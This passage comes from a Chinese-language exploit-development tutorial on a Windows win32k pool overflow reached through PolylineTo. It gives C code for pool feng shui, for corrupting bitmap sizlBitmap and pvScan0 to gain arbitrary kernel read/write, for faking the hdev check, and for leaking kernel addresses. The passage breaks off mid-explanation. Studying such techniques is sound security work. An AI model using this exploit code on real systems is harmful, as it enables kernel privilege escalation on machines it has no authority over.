<span class="p">(</span><span class="mi">1670</span><span class="o">*</span><span class="mi">2</span><span class="o">*</span><span class="mi">8</span><span class="p">)</span><span class="o">/</span><span class="mi">8</span> <span class="n">bits</span> <span class="o">=</span> <span class="mh">0xd0c</span>
</code></pre></div></div>
<p>pool header 为 0x10 字节,0xd0c 对齐一下为 0xd08,那么得到这样一个公式:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SURFACE64 + STUFF = 0xf80 - 0x10 - 0xd08 = 0x268
</code></pre></div></div>
<p>换一组参数测试一下这个公式,把代码改成 CreateBitmap(820, 2, 8),计算一下这个的 bitmap 大小:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>size = (820*2*8)/8 + 0x268 + 0x10 = 0x8e0
</code></pre></div></div>
<p>然后再 windbg 中查看</p>
<p><img src="/images/2018-10-17/check_bmp_size.png" alt="" /></p>
<p>发现确实如我们所计算的那样。</p>
<p>然后是继续分配了 7000 次 accelerator table 对象,每个大小为 0x40 字节,每次分配两个也就是 0x80 字节大小,
这样就填补了每页内存页剩下的空间 (0xf80 + 0x80 = 0x1000)。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page.
</span> <span class="n">HACCEL</span> <span class="o">*</span><span class="n">pAccels</span> <span class="o">=</span> <span class="p">(</span><span class="n">HACCEL</span> <span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">HACCEL</span><span class="p">)</span> <span class="o">*</span> <span class="mi">7000</span><span class="p">);</span>
<span class="n">HACCEL</span> <span class="o">*</span><span class="n">pAccels2</span> <span class="o">=</span> <span class="p">(</span><span class="n">HACCEL</span> <span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">HACCEL</span><span class="p">)</span> <span class="o">*</span> <span class="mi">7000</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="n">INT</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="mi">7000</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">hAccel</span> <span class="o">=</span> <span class="n">CreateAcceleratorTableA</span><span class="p">(</span><span class="n">lpAccel</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="n">hAccel2</span> <span class="o">=</span> <span class="n">CreateAcceleratorTableW</span><span class="p">(</span><span class="n">lpAccel</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="n">pAccels</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">hAccel</span><span class="p">;</span>
<span class="n">pAccels2</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">hAccel2</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>接着释放了之前分配的 bitmap 对象,这样内存页的开始处就空出来 0xf80 字节的空间。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// Delete the allocated bitmaps to free space at beginning of pages
</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o"><</span> <span class="mi">5000</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">DeleteObject</span><span class="p">(</span><span class="n">bitmaps</span><span class="p">[</span><span class="n">k</span><span class="p">]);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>然后分配了 5000 个大小为 0xbc0 字节的对象,这个大小非常关键,因为如果 bitmap 对象直接被放到受到攻击的对象旁边的话,
溢出不会覆盖到 bitmap 对象关键的成员变量(后面会详细讲)。此外,作者通过反复试验找到了 <code class="highlighter-rouge">CreateEllipticRgn</code>
函数分配的对象的大小于提供的函数参数之间的关系,我们就暂时知道这样的方式就行。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">//allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory.
</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o"><</span> <span class="mi">5000</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">CreateEllipticRgn</span><span class="p">(</span><span class="mh">0x79</span><span class="p">,</span> <span class="mh">0x79</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span> <span class="c1">//size = 0xbc0
</span> <span class="p">}</span>
</code></pre></div></div>
<p>池风水进行到这一步,内核中内存页的开始处有着 0xbc0 字节 Gh04 标记的对象,末尾有 0x80,剩下 0x3c0 字节是空闲的。
再分配 5000 个大小为 0x3c0 字节的 bitmap 对象填充每页内存页剩余的空间,这样对 bitmap 对象的溢出就受到我们的控制了。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated
</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o"><</span> <span class="mi">5000</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">bmp</span> <span class="o">=</span> <span class="n">CreateBitmap</span><span class="p">(</span><span class="mh">0x52</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">32</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span> <span class="c1">//size = 3c0
</span> <span class="n">bitmaps</span><span class="p">[</span><span class="n">k</span><span class="p">]</span> <span class="o">=</span> <span class="n">bmp</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>下一步是把内存中所有 0x60 大小的先占满了,那么后面分配有溢出的对象时几乎肯定会落在我们的内存布局中。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">AllocateClipBoard</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span>
<span class="n">BYTE</span> <span class="o">*</span><span class="n">buffer</span><span class="p">;</span>
<span class="n">buffer</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">size</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
<span class="n">buffer</span><span class="p">[</span><span class="n">size</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x00</span><span class="p">;</span>
<span class="k">const</span> <span class="kt">size_t</span> <span class="n">len</span> <span class="o">=</span> <span class="n">size</span><span class="p">;</span>
<span class="n">HGLOBAL</span> <span class="n">hMem</span> <span class="o">=</span> <span class="n">GlobalAlloc</span><span class="p">(</span><span class="n">GMEM_MOVEABLE</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">GlobalLock</span><span class="p">(</span><span class="n">hMem</span><span class="p">),</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
<span class="n">GlobalUnlock</span><span class="p">(</span><span class="n">hMem</span><span class="p">);</span>
<span class="n">OpenClipboard</span><span class="p">(</span><span class="n">wnd</span><span class="p">);</span>
<span class="n">EmptyClipboard</span><span class="p">();</span>
<span class="n">SetClipboardData</span><span class="p">(</span><span class="n">CF_TEXT</span><span class="p">,</span> <span class="n">hMem</span><span class="p">);</span>
<span class="n">CloseClipboard</span><span class="p">();</span>
<span class="n">GlobalFree</span><span class="p">(</span><span class="n">hMem</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60
</span><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o"><</span> <span class="mi">1700</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="c1">//1500
</span> <span class="n">AllocateClipBoard2</span><span class="p">(</span><span class="mh">0x30</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>这里要说明的是,在分配 ClipBoard 对象的函数中,如果忽略掉 OpenCliboard, CloseClipBboard, EmptyClipboard
直接调用 SetClipboardData 的话,被分配的对象永远不会释放掉,具体可以再实验下。</p>
<p>最后空出来一点缺口,释放掉内存页尾部 0x80 字节的对象。准确来说准备了 2000 个缺口,让目标对象被分配到这 2000
个中的其中一个位置。</p>
<p>最终的内存页布局如图:</p>
<p><img src="/images/2018-10-17/final_pool_page.png" alt="" /></p>
<p>在 windbg 中查看:</p>
<p><img src="/images/2018-10-17/final_pool_page2.png" alt="" /></p>
<h1 id="abusing-the-bitmap-gdi-objects">Abusing the Bitmap GDI objects</h1>
<p>在开始这部分内容之前,建议没有了解这部分内容的同学可以先去看下前面提到过的
CoreLabs 的文章 <a href="https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/">Abusing GDI for ring0 exploit primitives</a>
,有关这项技术的原理讲的非常详细。</p>
<p>内核中 bitmap 对象的开头部分是一个 GDI base object 结构。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
<span class="n">ULONG64</span> <span class="n">hHmgr</span><span class="p">;</span>
<span class="n">ULONG32</span> <span class="n">ulShareCount</span><span class="p">;</span>
<span class="n">WORD</span> <span class="n">cExclusiveLock</span><span class="p">;</span>
<span class="n">WORD</span> <span class="n">BaseFlags</span><span class="p">;</span>
<span class="n">ULONG64</span> <span class="n">Tid</span><span class="p">;</span>
<span class="p">}</span> <span class="n">BASEOBJECT64</span><span class="p">;</span> <span class="c1">// sizeof = 0x18
</span></code></pre></div></div>
<p>有关这个头部结构的介绍可以参考 <a href="https://www.reactos.org/wiki/Techwiki:Win32k/BASEOBJECT">ReactOS wiki</a>,
在它后面的是 <a href="https://docs.microsoft.com/en-us/windows/desktop/api/winddi/ns-winddi-_surfobj">surface object</a>。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
<span class="n">ULONG64</span> <span class="n">dhsurf</span><span class="p">;</span> <span class="c1">// 0x00
</span> <span class="n">ULONG64</span> <span class="n">hsurf</span><span class="p">;</span> <span class="c1">// 0x08
</span> <span class="n">ULONG64</span> <span class="n">dhpdev</span><span class="p">;</span> <span class="c1">// 0x10
</span> <span class="n">ULONG64</span> <span class="n">hdev</span><span class="p">;</span> <span class="c1">// 0x18
</span> <span class="n">SIZEL</span> <span class="n">sizlBitmap</span><span class="p">;</span> <span class="c1">// 0x20
</span> <span class="n">ULONG64</span> <span class="n">cjBits</span><span class="p">;</span> <span class="c1">// 0x28
</span> <span class="n">ULONG64</span> <span class="n">pvBits</span><span class="p">;</span> <span class="c1">// 0x30
</span> <span class="n">ULONG64</span> <span class="n">pvScan0</span><span class="p">;</span> <span class="c1">// 0x38
</span> <span class="n">ULONG32</span> <span class="n">lDelta</span><span class="p">;</span> <span class="c1">// 0x40
</span> <span class="n">ULONG32</span> <span class="n">iUniq</span><span class="p">;</span> <span class="c1">// 0x44
</span> <span class="n">ULONG32</span> <span class="n">iBitmapFormat</span><span class="p">;</span> <span class="c1">// 0x48
</span> <span class="n">USHORT</span> <span class="n">iType</span><span class="p">;</span> <span class="c1">// 0x4C
</span> <span class="n">USHORT</span> <span class="n">fjBitmap</span><span class="p">;</span> <span class="c1">// 0x4E
</span><span class="p">}</span> <span class="n">SURFOBJ64</span><span class="p">;</span> <span class="c1">// sizeof = 0x50
</span></code></pre></div></div>
<p>其中 sizlBitmap、pvScan0、hdev 是我们主要关注的成员变量,sizlBitmap 存放 bitmap 的宽度和高度,
pvScan0 是一个指向 bitmap 数据的指针(第一条扫描线), hdev 是指向设备句柄的指针。</p>
<p>我们主要的目标是通过溢出覆盖到 sizlBitmap 和 pvScan0,这样 SetBitmapBits/GetBitmapBits
函数就会对 pvScan0 指向的地址读写 sizlBitmap 长度的数据。如果能够控制溢出的数据,把 pvScan0
覆盖成我们指定的地址,那么就可以用如下方式达到任意地址写:</p>
<ul>
<li>
<p>设置第一个 bitmap 对象的 pvScan0 为第二个 bitmap 对象 pvScan0 的地址。</p>
</li>
<li>
<p>把第一个 bitmap 对象当作一个管理器,把第二个 bitmap 对象的 pvScan0 设置成任何我们想要的地址。</p>
</li>
<li>
<p>第二个 bitmap 对象充当实际的操作者,对我们设定的地址进行读写操作。</p>
</li>
</ul>
<p>在这个漏洞的场景中,溢出部分的数据并不完全受到我们控制,但是可以间接影响到覆盖部分的数据,流程如下:</p>
<ol>
<li>
<p>通过溢出覆盖相邻的 bitmap 对象的 sizlBitmap 成员变量。</p>
</li>
<li>
<p>让可操作数据长度扩展了的 bitmap 对象覆盖另一个 bitmap 对象的 pvScan0。</p>
</li>
<li>
<p>利用第二个 bitmap 读写设定的地址。</p>
</li>
</ol>
<p>现在我们来分析一下如何把数据覆盖到目标位置,看一下把 points 结构复制到池内存中的函数
<code class="highlighter-rouge">addEdgeToGet</code>:</p>
<p><img src="/images/2018-10-17/addEdgeGet1.png" alt="" /></p>
<p>r11 寄存器和 r10 寄存器分别存放了当前 point.y [r9+4] 和前一个 point.y [r8+4],
如果当前 point.y 小于前一个 point.y 就会把目标缓冲区 <code class="highlighter-rouge">rdx+0x28</code> 地址处写成 <code class="highlighter-rouge">0xffffffff</code>,
否则就写成 1。这里可以假设它是为了判断当前 point.y 是不是和前一个 point.y 保持同一个方向。</p>
<p><img src="/images/2018-10-17/addEdgeGet2.png" alt="" /></p>
<p>接着会检查前一个 point.y 是否小于 [r9+0xc] = 0x1f0,如果小于的话,当前 point 就会被复制到目标缓冲区,
如果没有,就跳过当前 point。这里还有一点是 point.y 的值会左移1位,如果原来赋值是 1,那么这里就是 0x10。</p>
<p><img src="/images/2018-10-17/addEdgeGet3.png" alt="" /></p>
<p>和之前的检查一样, 这里对 point.x 的处理也是让当前 point.x 减去前一个 point.x,
如果小于或等于的话,就会把目标缓冲区 [r15+0x24] 地址处赋值为 0x1。而 points 结构的大小为
0x30 字节,那么我们用 [rdx+0x28] 覆盖到 sizlBitmap 的同时,还会因为 [r15+0x24] 把 hdev 的值设置为1。</p>
<p>按照以上规则计算偏移后修改代码如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">POINT</span> <span class="n">points</span><span class="p">[</span><span class="mh">0x3fe01</span><span class="p">];</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">l</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">l</span> <span class="o"><</span> <span class="mh">0x3FE00</span><span class="p">;</span> <span class="n">l</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">points</span><span class="p">[</span><span class="n">l</span><span class="p">].</span><span class="n">x</span> <span class="o">=</span> <span class="mh">0x5a1f</span><span class="p">;</span>
<span class="n">points</span><span class="p">[</span><span class="n">l</span><span class="p">].</span><span class="n">y</span> <span class="o">=</span> <span class="mh">0x5a1f</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">points</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">y</span> <span class="o">=</span> <span class="mi">20</span><span class="p">;</span> <span class="c1">//0x14 < 0x1f
</span><span class="n">points</span><span class="p">[</span><span class="mh">0x3FE00</span><span class="p">].</span><span class="n">x</span> <span class="o">=</span> <span class="mh">0x4a1f</span><span class="p">;</span>
<span class="n">points</span><span class="p">[</span><span class="mh">0x3FE00</span><span class="p">].</span><span class="n">y</span> <span class="o">=</span> <span class="mh">0x6a1f</span><span class="p">;</span>
</code></pre></div></div>
<p>这里 points[2].y 设置成 0x14,那么在第二个检查中 y 的值为 0x14 « 1 = 0x140 就会小于 0x1f0,
然后会将当前 point 复制到目标缓冲区。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o"><</span> <span class="mh">0x156</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">j</span> <span class="o">></span> <span class="mh">0x1F</span> <span class="o">&&</span> <span class="n">points</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">y</span> <span class="o">!=</span> <span class="mh">0x5a1f</span><span class="p">)</span> <span class="p">{</span>
<span class="n">points</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">y</span> <span class="o">=</span> <span class="mh">0x5a1f</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">PolylineTo</span><span class="p">(</span><span class="n">hMemDC</span><span class="p">,</span> <span class="n">points</span><span class="p">,</span> <span class="mh">0x3FE01</span><span class="p">))</span> <span class="p">{</span>
<span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"[!] PolylineTo() Failed: %x</span><span class="se">\r\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>这里主要到循环中有个判断当循环次数大于 0x1f 时就把 points[2].y 的值设置回来,让后面的 points
不再被复制到目标缓冲区,因为前面 0x20 次循环已经足够覆盖到下一个 bitmap 了。</p>
<p>我们用调试器更具体的看一下,先设置 <code class="highlighter-rouge">bFill+0x38c</code> 的断点,确定 palloc 分配的 0x60 大小 chunk 的地址。</p>
<p><img src="/images/2018-10-17/offset.png" alt="" /></p>
<p>然后再设置一个 <code class="highlighter-rouge">AddEdgeToGET+0x142</code> 位置处的断点,这个位置是每成功复制一次 points 对象,
目标缓冲区的地址 +0x30,开始下一次复制,可以看到 vulnerable object 的地址是
<code class="highlighter-rouge">fffff901716d2fb0</code>,那么就是从 fb0 处开始复制,继续运行。</p>
<p><img src="/images/2018-10-17/offset2.png" alt="" /></p>
<p>这里注意到 points 对象的第一个点的 x 和 y 均为 0,猜测默认第零点为原点,
然后开始对我们设置的第一个点进行检查,由于前一个点为 (0, 0),y = 0 小于 0x1f0,
第一个点会复制到缓冲区,目标缓冲区地址 +0x30。但是到了第二个点,points[1].y
或者 points[0].y 都大于 0x1f0,这个点会被跳过。接着到了第三个点,points[3].y
= 0x140,它是小于 0x1f0 所以 points[3] 会被复制到目标缓冲区,再看下这段代码:</p>
<p><img src="/images/2018-10-17/offset3.png" alt="" /></p>
<p><img src="/images/2018-10-17/offset4.png" alt="" /></p>
<p>其实可以发现,在检查 y 是否小于 0x1f0 时,y 的值是前一个 points.y 和当前 points.y 中较小的那一个,
所以 points[3] 也会被复制到缓冲区。</p>
<p>由此可以知道第一次调用的 polylineto 函数使目标缓冲区往后增加了 0x90 的偏移,之后的 0x1f 次循环都会增加
2 * 0x30 的偏移。</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0xfb0 + 0x90 + 2 * 0x30 * 0x1f = 0x1be0
</code></pre></div></div>
<p>但是看看 bitmap 对象在内存中的位置</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bc0: pool header 0x10
bd0: base object 0x18
be8: ... 0x20
c08: sizlBitmap
</code></pre></div></div>
<p>还差一个 points,这时在调试器中查看内存发现 points 数组末尾还会检查一次 (0, 0),
那么 0x1be0 + 0x30 = 0x1c10 刚好可以覆盖到 sizlBitmap。</p>
<p><img src="/images/2018-10-17/offset5.png" alt="" /></p>
<p><img src="/images/2018-10-17/offset6.png" alt="" /></p>
<p>这样复制完成后 sizlBitmap 的成员属性就变成了 0xffffffff * 0x1,导致 buffer 的读写空间非常大,
那么把这个 bitmap 当作 manager,它的下一页的 bitmap object 当作 worker,通过 <code class="highlighter-rouge">SetBitmapBits</code>
修改 worker 的 <code class="highlighter-rouge">pvScan0</code> 属性来设置想读写的地址。可以调用 GetBitmapBits 函数来验证下是否复制成功了,
添加如下代码:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o"><</span> <span class="mi">5000</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">GetBitmapBits</span><span class="p">(</span><span class="n">bitmaps</span><span class="p">[</span><span class="n">k</span><span class="p">],</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="n">bits</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">res</span> <span class="o">></span> <span class="mh">0x150</span><span class="p">)</span> <span class="c1">// if check succeeds we found our bitmap.
</span><span class="p">}</span>
</code></pre></div></div>
<p>但是这里又出现问题了,如果直接添加 GetBitmapBits 代码运行会发生 crash,原因时 hdev
被覆盖成 0x1 了,正常情况下它的值为一个 Gdev device object 的指针或者为 NULL,
而 crash 发生的函数 <code class="highlighter-rouge">PDEVOBJ::bAllowShareAccess</code> 会从被覆盖的地址 <code class="highlighter-rouge">0x0000000100000000</code>
读取值,然后判断这个值如果为 1 的话就正常返回。</p>
<p><img src="/images/2018-10-17/bAllowShared.png" alt="" /></p>
<p>幸运的是这个地址可以在用户态直接申请分配,那么用 VirtualAlloc 申请这个地址把值设置成 1 就解决了问题。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VOID</span> <span class="o">*</span><span class="n">fake</span> <span class="o">=</span> <span class="n">VirtualAlloc</span><span class="p">(</span><span class="mh">0x0000000100000000</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="n">fake</span><span class="p">,</span> <span class="mh">0x1</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">);</span>
</code></pre></div></div>
<p>现在我们已经能够读写一大块内存了,下一步就可以任意地址读写了,不过我们还需要修复一下堆头结构,
前面我们写的 poc 程序每次运行完退出时会因为 Bad Pool Header 触发 crash,溢出破坏了堆头部结构。
先用 GetBitmapbits 读取下一页的 region 对象和 bitmap 对象的头部,写入到当前页的 region 对象和
bitmap 对象头部中,然后泄露相关内核地址,计算出当前页的 region 对象地址。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Get Gh04 header to fix overflown header.
</span><span class="k">static</span> <span class="n">BYTE</span> <span class="n">Gh04</span><span class="p">[</span><span class="mh">0x10</span><span class="p">];</span>
<span class="n">fprintf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="s">"</span><span class="se">\r\n</span><span class="s">Gh04 header:</span><span class="se">\r\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="mh">0x10</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">Gh04</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">bits</span><span class="p">[</span><span class="mh">0x1d8</span> <span class="o">+</span> <span class="n">i</span><span class="p">];</span>
<span class="n">fprintf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="s">"%02x"</span><span class="p">,</span> <span class="n">bits</span><span class="p">[</span><span class="mh">0x1d8</span> <span class="o">+</span> <span class="n">i</span><span class="p">]);</span>
<span class="p">}</span>
<span class="c1">// Get Gh05 header to fix overflown header.
</span><span class="k">static</span> <span class="n">BYTE</span> <span class="n">Gh05</span><span class="p">[</span><span class="mh">0x10</span><span class="p">];</span>
<span class="n">fprintf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="s">"</span><span class="se">\r\n</span><span class="s">Gh05 header:</span><span class="se">\r\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="mh">0x10</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">Gh05</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">bits</span><span class="p">[</span><span class="mh">0xd98</span> <span class="o">+</span> <span class="n">i</span><span class="p">];</span>
<span class="n">fprintf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="s">"%02x"</span><span class="p">,</span> <span class="n">bits</span><span class="p">[</span><span class="mh">0xd98</span> <span class="o">+</span> <span class="n">i</span><span class="p">]);</span>
<span class="p">}</span>
<span class="c1">// Address of Overflown Gh04 object header
</span><span class="k">static</span> <span class="n">BYTE</span> <span class="n">addr1</span><span class="p">[</span><span class="mh">0x8</span><span class="p">];</span>
<span class="n">fprintf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="s">"</span><span class="se">\r\n</span><span class="s">Previous page Gh04 (Leaked address):</span><span class="se">\r\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o"><</span> <span class="mh">0x8</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">addr1</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="n">bits</span><span class="p">[</span><span class="mh">0x218</span> <span class="o">+</span> <span class="n">j</span><span class="p">];</span>
<span class="n">fprintf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="s">"%02x"</span><span class="p">,</span> <span class="n">bits</span><span class="p">[</span><span class="mh">0x218</span> <span class="o">+</span> <span class="n">j</span><span class="p">]);</span>
<span class="p">}</span>
<span class="c1">// Get pvScan0 address of second Gh05 object
</span><span class="k">static</span> <span class="n">BYTE</span> <span class="n">pvscan</span><span class="p">[</span><span class="mh">0x08</span><span class="p">];</span>
<span class="n">fprintf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="s">"</span><span class="se">\r\n</span><span class="s">pvScan0:</span><span class="se">\r\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="mh">0x8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">pvscan</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">bits</span><span class="p">[</span><span class="mh">0xdf8</span> <span class="o">+</span> <span class="n">i</span><span class="p">];</span>
<span class="n">fprintf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="s">"%02x"</span><span class="p">,</span> <span class="n">bits</span><span class="p">[</span><span class="mh">0xdf8</span> <span class="o">+</span> <span class="n">i</span><span class="p">]);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>看下当前 bitmap 对象的 pvScan0 指向的地址:</p>
<p><img src="/images/2018-10-17/offset7.png" alt="" /></p>
<p>那么 Gh04 header 的偏移就是 <code class="highlighter-rouge">0x1000 - 0xe30 = 0x1d0</code>,同理,Gh05 header 的偏移为
<code class="highlighter-rouge">0x1d0 + 0xbc0 = 0xd90</code>。然后泄露内核地址的话,在 region 对象中有这样一个值:</p>
<p><img src="/images/2018-10-17/offset8.png" alt="" /></p>
<p>这个值为这个值的地址本身,且在 region 对象 +0x30 偏移处,那么就可以计算出当前
Gh04 对象的地址,然后把这个地址最低位字节置零,倒数第二位减去 0x10 回到上一页的起始位置:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">addr1</span><span class="p">[</span><span class="mh">0x0</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">u</span> <span class="o">=</span> <span class="n">addr1</span><span class="p">[</span><span class="mh">0x1</span><span class="p">];</span>
<span class="n">u</span> <span class="o">=</span> <span class="n">u</span> <span class="o">-</span> <span class="mh">0x10</span><span class="p">;</span>
<span class="n">addr1</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">u</span><span class="p">;</span>
</code></pre></div></div>
<p>同理也可以计算出 Gd05 对象的地址:</p>
